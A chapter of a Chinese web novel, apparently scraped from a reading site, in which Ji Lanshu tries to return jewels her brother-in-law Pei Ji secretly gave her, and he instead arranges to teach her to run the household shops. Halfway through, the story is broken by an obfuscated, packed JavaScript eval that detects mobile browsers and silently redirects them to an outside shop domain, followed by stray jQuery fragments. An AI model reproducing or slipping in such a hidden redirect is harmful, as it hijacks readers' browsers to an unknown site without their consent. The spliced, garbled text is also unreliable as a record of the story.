两日后,季兰淑终于探查到,那日的乞巧节礼石禄也经手过。
裴忌。
季兰淑默念这个名字,心里给自己鼓劲了许久。
不就是把金银还给他嘛,又不是抢他的,有什么好怕的?他还能吃了我不成?季兰淑心一横,抬脚朝霜华院走去。
她没敢走近院门口,只在回廊拐角的一棵老槐树底下站住了。那树冠浓密,荫凉凉的一片,既能遮住阳光,又能瞧见从外头过来的人。
这是裴忌回来的必经之路。
若是有人经过,便会发现在外一向端庄的大娘子,此刻颇有些鬼鬼祟祟。
日头偏斜,脚步渐近,在季兰淑看清来人之前,一袭紫色官袍率先撞入眼帘。
乌纱帽镶白玉,袍服是上好的绫罗,走动时泛着细润的光。腰束玉带,侧边垂着金鱼袋,袋上绣着细密的纹样,随着步履轻轻晃动。
浓而深的紫,威仪肃穆,叫人不敢继续直视。
季兰淑不由想起裴衡平日穿的绯袍和银鱼袋,颜色也是鲜亮的,可站在这一袭紫衣跟前,就不那么显眼了。
裴忌走到院子附近,顿住脚步,朝石禄摆了摆手,石禄便退下了。
廊下仅余他一人,他便不紧不慢朝那棵老槐树走去。
季兰淑见裴忌走过来,攥紧手里的帕子,下意识地站直了身子。
裴忌在她身前停下,垂下眼来,打量了一圈才开口:“嫂嫂是来寻旁人的吗?”
季兰淑摇摇头。
“那你是来找谁的?”裴忌又问。
季兰淑疑惑地看他,这不是很明显吗?怎么还要她说出来。
可她还是认真地回答了:“我是来找小叔的。”
裴忌的嘴角似乎舒展了些:“哦,那嫂嫂找我有何事呢?”
“是因为乞巧的节礼。”季兰淑开门见山道,“那些珠宝……是小叔让人放进去的吗?太过贵重了。”
“不算贵重。”他说。
他没有否认,季兰淑了然,那就是裴忌放进去的宝石与金子。
裴忌的身上有种清幽的香,冷冷的,像是冬日的檀香,加了一点冰片。夕阳照在他身上,也变得昏沉起来。
他昏沉的影子也落在季兰淑裙摆,泥潭一样,粘连着她。
“小叔是要我转交大郎君吗?”季兰淑轻声问,没有看裴忌的眼,而是将视线落在他肩头。
裴忌脸上的神情一顿,依旧盯着她看:“我倒不知,大哥何时喜爱佩戴珠宝了?”
不是给裴衡的,那就是给……她的?季兰淑心中一惊。
“小叔,无功不受禄。这些东西太贵重了,我受不起。况且大郎君那里……我也不好交代。”季兰淑就算面对裴忌有些害怕,但还是坚持拒绝,“请小叔收回去罢。”
她说完,悄悄抬了一下眼皮,飞快地觑了裴忌一眼。他的神色,显然不大高兴。
季兰淑连忙垂下眼,不敢再看。
裴忌倒没有发作,只说:“我看过府上的账册。二房名下有几间铺面,每月进项多少,我不说你也该想得到。秦氏将铺子打理得井井有条,二房日子过得宽裕,府上人人都看在眼里。”
季兰淑不明白裴忌为何忽然提起这个,她也不问缘由,只是听着。
“至于大房……”裴忌顿了一下,“大哥名下也有铺子,但是亏损居多,今是谁在管着?”
“是方姨娘。”季兰淑有些不好意思,“我嫁进来之前,铺子便是她在管着。我也不曾管过这些,便没有接手。”
裴忌沉默了片刻,比说话更叫人不安。季兰淑等着他继续说话。
“二房富足,大房却要拿公中的银子。你身为大娘子,难道就打算一直这样下去?银钱比二房少,大房场面上撑不住,想要办事也难做。”裴忌冷声道。
季兰淑脸上热起来,像是被夫子训斥了。她没有反驳。
躲在槐树下的长嫂,阳光透过叶片的缝隙,细碎地洒在她身上,落在她脸颊的痣。
裴忌的目光在那里停了一瞬,又不由自主地往下移了一寸。她颈侧也有一粒小小的痣,隐在衣领边缘,像是藏了一半,又像是故意露了一半。
她身上别处,可还有这样的痣?
夏衫贴着她的肩线,衣料底下隐约透出一点肩窝的弧度,白腻腻的,仿佛花香里藏了光。
她就这样站在他面前,手里还攥着帕子,强撑着硬气,挺直脊背,却还低着头不敢看他。
年轻的长嫂,似乎生来就是软的,面团一般,你掐她一把,她便陷下去,不反抗,也不说话。即使被他斥责,她也不会出声。
不出声就有用了么?那陷下去的窝,总叫人忍不住想再捏一把,看看她到底能陷到多深。
一阵风吹过来,树叶在头顶摇晃,她微微缩了一下脖子,那粒痣便彻底被衣领吞没了。
旁人见了金银就欢喜,她为何不想要呢?
“我们是一家人,对吧?”裴忌又问了一句,语气诡异地温和。
季兰淑下意识点头,小叔和嫂子同住一个府邸,自然算是一家。
“那便是了。”裴忌说,“一家人不必分得那样清,珠玉即使放在大哥院子里,也是我的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720415|208616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
季兰淑怔怔地听着,难为裴忌竟想得这样周全。
想来他是怕裴衡面上不好看,这才想着要借着她的手把大房的场面撑起来。他这人虽冷,心里头倒还记挂着长兄,不愿叫大房在二房面前矮半截。
季兰淑这般想着,抬眼看向他,神情感谢,语气也真诚了几分:“小叔处事公正,也记挂着长兄,我替大郎君谢过小叔。”
不知道是不是她夸错了,或者夸的不够好,裴忌看起来并不受用,神情淡漠。
季兰淑想了想,又认真地说:“这些珠宝和元宝,我不能白拿小叔的,日后我会还上的。”
“不必……”裴忌话说了一半又停住,像是改了什么主意,“也成,你这位大娘子,的确也该学着支棱起来了。”
“我院子里的丫鬟白芷,精于算账,也会经营铺面。我会让她好好教你,你跟着多学些。往后铺子的事你就自己打理,挣了银子之后再还我。”
“打理铺子……我可以吗?”季兰淑下意识地怀疑自己。
她自小便听父母说,她性子慢,嘴也拙,不大会应酬,见了生人连话都说不利索,哪里是做得了这些事的材料。
裴忌语气笃定:“先试试,学会之后,你在碧梧院说话也有底气。”
学不会也无妨,这并不重要,裴忌想道。
季兰淑却觉得有些亏欠,为了大房乃至裴府的体面,裴忌不仅要借她银子,还要帮她找女先生。安知她是不是块朽木?
她郑重地点头:“小叔帮了我的忙,日后我会回报小叔的。”
自己目前没权没势,的确没什么能够帮裴忌的,季兰淑在心里默默叹气,有一点失落。前些日子误会小叔了,他其实是个好人。
“好啊。”裴忌挑了挑眉,提前应下了季兰淑所说的报答。
他侧身转向霜华院的方向:“随我进来,我叫白芷仔细同你说。”
季兰淑没有去过小叔的院子,犹豫起来。
“怎么,还要我再请你?”裴忌走出一步,回头看她。
靠自己赚银子的渴望战胜了忸怩,季兰淑忙说了句好,便亦步亦趋跟在裴忌身后。
他步子大,季兰淑便加快了脚步,碎碎地跟着他。
那么多下人也在霜华院里看着,不会有事的。
既然小叔真心要帮助大房,季兰淑觉得自己不能小家子气,亦不能不懂感激,这样会叫旁人寒心的。
不远处的荷塘边上,几只鸭子上了岸。大鸭子走在最前面,步子稳稳当当,也不回头看。后头紧跟着一串毛茸茸的小鸭,走起路来摇摇晃晃,像一排滚动的绒球。